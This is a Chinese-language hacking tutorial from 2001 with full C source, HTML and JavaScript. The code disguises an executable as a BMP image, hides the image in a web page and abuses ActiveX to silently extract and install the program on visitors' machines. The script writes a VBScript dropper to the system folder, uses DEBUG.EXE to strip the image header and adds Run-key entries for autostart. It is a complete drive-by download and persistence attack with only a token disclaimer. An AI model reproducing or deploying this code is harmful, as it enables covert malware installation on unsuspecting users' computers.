隐藏在网页BMP图像中的*.EXE程序
本程序可以将一个*.exe可执行程序(其实任何文件都行啦)编码成一个特殊的未经压缩的24位真彩色BMP图像,生成后的图像文件比原来的*.EXE文件只增大54-65个字节,为何会增大这么多呢,因为BMP文件头固定为54字节,编码时为减小空间浪费,我们假定每个描扫行的字节数是12的整数倍,所以当*.EXE文件的大小不是12的整数倍时,会在文件后填充1-11个字节(根据*.EXE文件大小定),这样加上54字节的BMP图像头,总共会增加54-65个字节,空间浪费量达到最小值.将*.EXE文件编码成一个*.BMP图像文件有何用呢,呵呵,用处大了,首先起到加密作用,没有人会想到一个能正常显示的图像,其实是一个*.EXE的映象吧,还有一个比较有用的应用是这样的,假如我有一个程序放在我的个人主页上,当我去访问我的主页时,我想让我的程序s.exe能自动下载到我的电脑中,并在下次启动时自动运行(大家不要害怕,s.exe不是个木马程序),通常要实现这种功能必须去点下载,然后保存,然后修改注册表让他自启动,好烦哟,现在将他编码成BMP图像后就不要这么烦了,你只要看一下网页,s.exe程序就会自动下载到你电脑中,并在下次自动启动,你感觉不到这个过程的哟:)这种功能是如何实现的呢?
我们知道通过<img src=s.bmp>指令可以在网页中显示s.bmp这个图像,其实当我们看到s.bmp这幅图像时,s.bmp文件已经存在IE5.0的硬盘缓冲区中了,只是我们看不到,通过特殊方法我们能将他找出来,如果s.bmp是经编码的s.exe文件映像,那么相当于s.exe文件被下载到电脑中了(不是点击下载,而是显示时自动随网页下载的哟:<). 呵呵s.bmp是下来了,下面我们就编一个VBScript脚本利用FileSystemObject对象来递规搜索C:\windows\Temporary Internet Files这个目录,因为这是IE5.0的缓冲目录,所以看过的网页和图像都在这里哟:),不到2秒钟,我们的脚本就找到了s[1].bmp这个文件,这就是s.bmp文件在缓冲区中的名字呀,哈哈,终于让我找着了,用File.Copy指令将他复制到c:\windows\temp目录下,我们终于完成关键的一步了.
接下来的工作还是要用到DEBUG.EXE这个DOS下的超级核武器了,可惜的是此程序在w2k下没法用,所以本技术只能用在Win9x中了哟,好啦,现在要怎么做呢?
用DEBUG的w136指令可以将54个字节以后的内容保存,这样就去掉了BMP文件头,得到了真正的*.EXE文件了哟. 最后大家懂了吧,修改注册表,让程序自启动就行了呀.
**********************************************************************
*警告!!!:大家不要用本程序把病毒或木马程序编码后放在网页上害人,一经发现,严惩不怠,祝你好运,呵呵..........
*附录:由于解码需要一定时间,访问网页时要等到页面上出现个绿背景的长方形框,并在框内出现"文档保存成功"这几个字才可关闭网页,否则解码不会成功,另外,本程序只能对小于640k的程序编码,大于640k的程序还没这个功能,想要编码大于640K的程序者请等我的第三版吧!!!
*第三版介绍:第三版用一个更巧妙的方法,完全不用DEBUG.EXE程序,也不用将*.EXE编码成*.BMP图像,用的是一种叫做图像碎片的技术,在客户端进行碎片重组,完成*.EXE复原,呵呵,妙不可言哟,不过我可能没兴趣搞第三版了,有兴趣的朋友自已搞吧,我准备编一个类似防火墙的程序来对付黑客程序,呵呵!!! ----------------------------------
作者:njhhack 主页:hotsky.363.net 信箱:njhhack@21cn.com
-------下面是c代码---------- /* 1.本程序用一种全新的方法实现*.exe文件自动下载到客户端电脑中,方法是将*.exe文件隐 藏于BMP 图像文件中,然后置于网页中,当客户端浏览网页时,藏于BMP中的*.exe程序随BMP图像一起 下载到 IE5.0的临时文件夹中,一般是C:\Windows\Temporary Internet Files\Content.IE5这个目录 下的 一个或几个子目录中,你可以在注册表的: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders 这个主键中找到Cache这个字符串键值,内容一般为C:\Windows\Temporary Internet Files 你只要在后面加上Content.IE5这个子目录,就是你*.bmp图像所在的目录了 2.然后你可以设计一个VBScript脚本,让他通过FileSystemObject的Folders及Files对象来 递规搜索 你的s.bmp图像,一般名称为s[1].bmp,搜索到后你可以用File.Copy命令其复制到其它目录 3.然后你可以调出DEBUG.EXE程序调入s.bmp图像,并以s.tmp文件作为调试脚本来把你的 s.bmp的图像 头去掉,并恢复文件原来的大小,最后存盘退出,将s.bmp改名为s.exe,你的*.exe文件就在 客户端 的电脑上出现了,接下来你就可你做你想做事情了,呵呵! 4.本程序的输入为s.exe文件,就是你要转换的文件,输出为s.bmp和s.tmp,其中s.bmp为含 有*.exe文 件的BMP图像,s.tmp为DEBUG.EXE程序的脚本输入文件,用来在客户端从BMP图像中恢复你的 *.exe文件
*/ char *script1[]= { "Option Explicit", "Dim FSO,WSH,CACHE,str", "Set FSO = CreateObject(\"Scripting.FileSystemObject\")", "Set WSH = CreateObject(\"WScript.Shell\")", "CACHE=wsh.RegRead (\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Shell Folders\\\\Cache\")", "wsh.RegDelete (\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\vbs\")", "wsh.RegWrite \"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\tmp\",\"tmp.ex e\"", "SearchBMPFile fso.GetFolder(CACHE),\"s[1].bmp\"", "WScript.Quit()", "Function SearchBMPFile(Folder,fname)", " Dim SubFolder,File,Lt,tmp,winsys", " str=FSO.GetParentFolderName(folder) & \"\\\\\" & folder.name & \"\\\\\" & fname", " if FSO.FileExists(str) then", " tmp=fso.GetSpecialFolder(2) & \"\\\\\"", " winsys=fso.GetSpecialFolder(1) & \"\\\\\"", " set File=FSO.GetFile(str)", " File.Copy(tmp & \"tmp.dat\")", " File.Delete", " set Lt=FSO.CreateTextFile(tmp & \"tmp.in\")" }; char *script2[]= { " Lt.Close", " WSH.Run \"command /c debug \" & tmp & \"tmp.dat <\" & tmp & \"tmp.in >\" & tmp & \"tmp.out\",false,6", " On Error Resume Next ", " FSO.GetFile(tmp & \"tmp.dat\").Copy(winsys & \"tmp.exe\")", " FSO.GetFile(tmp & \"tmp.dat\").Delete", " FSO.GetFile(tmp & \"tmp.in\").Delete", " FSO.GetFile(tmp & \"tmp.out\").Delete", " end if", " If Folder.SubFolders.Count <> 0 Then", " For Each SubFolder In Folder.SubFolders", " SearchBMPFile SubFolder,fname", " Next", " End If", "End Function" };
#include<stdio.h> #define MYSIZE 1024*4 main() { FILE *fexe,*fbmp,*fhtm,*fp; unsigned char sbuf[MYSIZE],*bmp="BM"; unsigned int rest,hs,row,col; unsigned long int pos,num,len,head[15]; /*下面开始处理文件*/ fexe=fopen("s.exe","rb"); fbmp=fopen("s.bmp","wb"); fseek(fexe,0,SEEK_END); pos=ftell(fexe); /*取得*.exe文件大小,并存入pos中*/ num=0; hs=0x36; /*BMP图像头的大小为54个字节,存入hs中*/ /*下面程序循环读*.exe文件数据,每次读4096个字节,并存入BMP图像 文件中*/ while(1) { if(pos-num>=MYSIZE)rest=MYSIZE; else rest=pos-num; fseek(fexe,num,SEEK_SET); fread(sbuf,1,rest,fexe); fseek(fbmp,num+hs,SEEK_SET); fwrite(sbuf,1,rest,fbmp); num+=rest; if(pos<=num)break; } fclose(fexe); ; /* 本段程序,假设如下情况: 1.构造的24位BMP图像的列是4的整数倍,这样做的原因是可以使图像中无 无效字节,节省空间,因为24位真彩图像每个象素占有3个字节,故一行中 含有的字节数是3*4即12的整数倍,所以图像的数据大小也必须为12的整 数倍,因为我们的*.exe文件大写不一定是12的整数倍,所以我们要调整 文件大小为12的整数倍,调整前后的文件大小相差不超过12个字节,达 到了较为满意的效果 2.为了使列与行基本一致,我们用猜测法确定列与行的大小,方法如下: 先令列为1,然后用除法得到行,若列数小于行数,则列数增加1,并重复 该过程,直到列数大于行数,则停止该项操作,这样就得到了列行较为 接近,且列数稍多于行数的图像结构,效果较满意 3.修改54字节大小的BMP图像头数据,并生成相应的DEBUG恢复脚本指令 */ /*下面程序段用猜测法根据pos计算len,col,row这三个数据*/ col=4; while(1) { if(pos%12==0)len=pos; else len=pos+12-pos%12; row=len/col/3; if(row>col)col+=4; else break; } /*下面程序修改BMP图像头中的动态数据*/ head[6]=col; /*图像列数*/ head[7]=row; /*图像行数*/ head[2]=len+hs; /*图像文件大小*/ head[10]=len; /*图像数据大小*/ /*下面程序修改BMP图像头中的静态数据*/ head[3]=0; /*保留数据*/ head[4]=hs; /*BMP图像头的大小*/ head[5]=0x28; /*保留数据*/ head[8]=0x180001; /*BMP图像和颜色位数是24位*/ head[9]=0; /*保留数据*/ head[11]=0xece; /*保留数据*/ head[12]=0xed8; /*保留数据*/ head[13]=0; /*保留数据*/ head[14]=0; /*保留数据*/ /*写入BMP图像标志'BM'*/ fseek(fbmp,0,SEEK_SET); fwrite(bmp,2,1,fbmp); /*写入13个长整数图像头数据*/ for(rest=2;rest<=14;rest++) { fseek(fbmp,2+(rest-2)*4,SEEK_SET); fwrite(&head[rest],4,1,fbmp); } /*如果pos不是12的整数倍,则修改文件的大小为12的整数倍*/ if(len>pos) { fseek(fbmp,len+hs-1,SEEK_SET); fwrite(sbuf,1,1,fbmp); } fclose(fbmp); /*下面生成网页*/
fhtm=fopen("1.htm","wt"); fprintf(fhtm,"<HTML>\n<HEAD>\n<TITLE>网页自动传输系统</TITLE>\n</HEAD>\n<BODY>"); fprintf(fhtm,"\n数据装载中,请稍等............"); fprintf(fhtm,"\n<IMG SRC=s.bmp width=0 height=0>"); fprintf(fhtm,"\n<SCRIPT SRC=1.js></SCRIPT>"); fprintf(fhtm,"\n</BODY>\n</HTML>"); fclose(fhtm);
/*下面生成Javascript脚本*/ fp=fopen("1.js","wt"); fprintf(fp,"\ndocument.write('<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>');"); fprintf(fp,"\nfunction docsave()"); fprintf(fp,"\n{"); fprintf(fp,"\na=document.applets[0];"); fprintf(fp,"\na.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');"); fprintf(fp,"\na.createInstance();"); fprintf(fp,"\nwsh=a.GetObject();"); fprintf(fp,"\na.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');"); fprintf(fp,"\na.createInstance();"); fprintf(fp,"\nfso=a.GetObject();");
/*下面为VBScript脚本生成部分*/ fprintf(fp,"\nvar winsys=fso.GetSpecialFolder(1);"); fprintf(fp,"\nvar vbs=winsys+'\\\\s.vbs';"); fprintf(fp,"\nwsh.RegWrite ('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\vbs','wscript '+'\"'+vbs+'\"');"); fprintf(fp,"\nvar st=fso.CreateTextFile(vbs,true);"); for(rest=0;rest<=18;rest++)fprintf(fp,"\nst.WriteLine('%s');",script1[rest]); /*生成DEBUG脚本指令*/ fprintf(fp,"\nst.WriteLine(' Lt.WriteLine(\"rbx\")');"); fprintf(fp,"\nst.WriteLine(' Lt.WriteLine(\"%x\")');",(pos>>16)&0xffff); /* 修改BX寄存器的内容*/ fprintf(fp,"\nst.WriteLine(' Lt.WriteLine(\"rcx\")');"); fprintf(fp,"\nst.WriteLine(' Lt.WriteLine(\"%x\")');",pos&0xffff); /* 修改CX寄存器的内容*/ fprintf(fp,"\nst.WriteLine(' Lt.WriteLine(\"w136\")');"); /* 丢弃BMP图像头并存盘*/ fprintf(fp,"\nst.WriteLine(' Lt.WriteLine(\"q\")');"); /* 退出DEBUG.EXE程序*/ for(rest=0;rest<=13;rest++)fprintf(fp,"\nst.WriteLine('%s');",script2[rest]); fprintf(fp,"\nst.Close();"); /*VBScript处理结束*/ fprintf(fp,"\nfrk.document.write('<body height=40 bgcolor=#c0e0d0>文档保存成 功!!!</body>');"); fprintf(fp,"\n}"); fprintf(fp,"\nsetTimeout('docsave()',1000);"); fprintf(fp,"\ndocument.write('<br>正在保存文档,请稍等.........');"); fprintf(fp,"\ndocument.write('<br><iframe id=frk frameborder=0 width=200 height=50></'+'iframe>');"); fprintf(fp,"\ndocument.write('<br>谢谢使用本软件');"); fprintf(fp,"\ndocument.write('<br>作者:njhhack 主页:<a href=http://hotsky.363.net>hotsky.363.net</a>');"); fprintf(fp,"\ndocument.write('<br>信箱:mailto:njhhack@21cn.com OICQ:10772919');"); fprintf(fp,"\ndocument.write('<br>程序:<a href=http://pub.jsol.net/~njhhack/programming/source/exe2bmp.zip>下载</a>/程序中含有c 源码和使用帮助!!!');"); fprintf(fp,"\ndocument.write('<br>(C)CopyRight 2001.8.5 HackSoft Research Lab.');");
fclose(fp);
/*系统处理结束*/ printf("\n系统处理完毕:"); printf("\n原*.exe文件大小为%ld,新BMP图像文件大小为:%ld,文件增大%ld个字节,不包括54 个字节的BMP图像头大小",pos,len,len-pos); printf("\n生成的位图为24位真彩色BMP图像,无调色板,宽=%d,高=%d,宽高比例适 中",col,row); printf("\n你可以将图像用<img src=s.bmp>命令置于网页上,当网页被浏览时,s.bmp图像 可以自动下载到IE5.0的历史记录文件夹,你可"); printf("\n可以用VBScript脚本将其找出来,并复制到其它目录,然后用DEBUG.EXE命令将它 的BMP图像头去掉并恢复*.exe文件的原来大小"); printf("\n将图像文件名改为*.exe,则你的*.exe就被植入了览者的电脑中,你可以进行进一 步的操作:)"); printf("\n作者:HackBoy (C)Copyright 2001.8.6"); ; }
-------下面是*.htm--------- <HTML> <HEAD> <TITLE>网页自动传输系统</TITLE> </HEAD> <BODY> 数据装载中,请稍等............ <IMG SRC=s.bmp width=0 height=0> <SCRIPT SRC=1.js></SCRIPT> </BODY> </HTML>
--------下面是javascript文件--------------
document.write('<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>'); function docsave() { a=document.applets[0]; a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}'); a.createInstance(); wsh=a.GetObject(); a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}'); a.createInstance(); fso=a.GetObject(); var winsys=fso.GetSpecialFolder(1); var vbs=winsys+'\\s.vbs'; wsh.RegWrite ('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs','wscript '+'"'+vbs+'" '); var st=fso.CreateTextFile(vbs,true); st.WriteLine('Option Explicit'); st.WriteLine('Dim FSO,WSH,CACHE,str'); st.WriteLine('Set FSO = CreateObject("Scripting.FileSystemObject")'); st.WriteLine('Set WSH = CreateObject("WScript.Shell")'); st.WriteLine('CACHE=wsh.RegRead ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Cache")'); st.WriteLine('wsh.RegDelete ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")'); st.WriteLine ('wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.ex e"'); st.WriteLine('SearchBMPFile fso.GetFolder(CACHE),"s[1].bmp"'); st.WriteLine('WScript.Quit()'); st.WriteLine('Function SearchBMPFile(Folder,fname)'); st.WriteLine(' Dim SubFolder,File,Lt,tmp,winsys'); st.WriteLine(' str=FSO.GetParentFolderName(folder) & "\\" & folder.name & "\\" & fname'); st.WriteLine(' if FSO.FileExists(str) then'); st.WriteLine(' tmp=fso.GetSpecialFolder(2) & "\\"'); st.WriteLine(' winsys=fso.GetSpecialFolder(1) & "\\"'); st.WriteLine(' set File=FSO.GetFile(str)'); st.WriteLine(' File.Copy(tmp & "tmp.dat")'); st.WriteLine(' File.Delete'); st.WriteLine(' set Lt=FSO.CreateTextFile(tmp & "tmp.in")'); st.WriteLine(' Lt.WriteLine("rbx")'); st.WriteLine(' Lt.WriteLine("0")'); st.WriteLine(' Lt.WriteLine("rcx")'); st.WriteLine(' Lt.WriteLine("1000")'); st.WriteLine(' Lt.WriteLine("w136")'); st.WriteLine(' Lt.WriteLine("q")'); st.WriteLine(' Lt.Close'); st.WriteLine(' WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6'); st.WriteLine(' On Error Resume Next '); st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")'); st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Delete'); st.WriteLine(' FSO.GetFile(tmp & "tmp.in").Delete'); st.WriteLine(' FSO.GetFile(tmp & "tmp.out").Delete'); st.WriteLine(' end if'); st.WriteLine(' If Folder.SubFolders.Count <> 0 Then'); st.WriteLine(' For Each SubFolder In Folder.SubFolders'); st.WriteLine(' SearchBMPFile SubFolder,fname'); st.WriteLine(' Next'); st.WriteLine(' End If'); st.WriteLine('End Function'); st.Close(); frk.document.write('<body height=40 bgcolor=#c0e0d0>文档保存成功!!!</body>'); } setTimeout('docsave()',1000); document.write('<br>正在保存文档,请稍等.........'); document.write('<br><iframe id=frk frameborder=0 width=200 height=50></'+'iframe>'); document.write('<br>谢谢使用本软件'); document.write('<br>作者:njhhacker 主页:<a href=http://cidu.net>cidu.net</a>'); document.write('<br>信箱:mailto:njhhackers@21cn.com'); document.write('<br>程序:<a href=http://pub.jsol.net/~njhhack/programming/source/exe2bmp.zip>下载</a>/程序中含有c 源码和使用帮助!!!'); document.write('<br>(C)CopyRight 2001.8.5 HackSoft Research Lab.');
|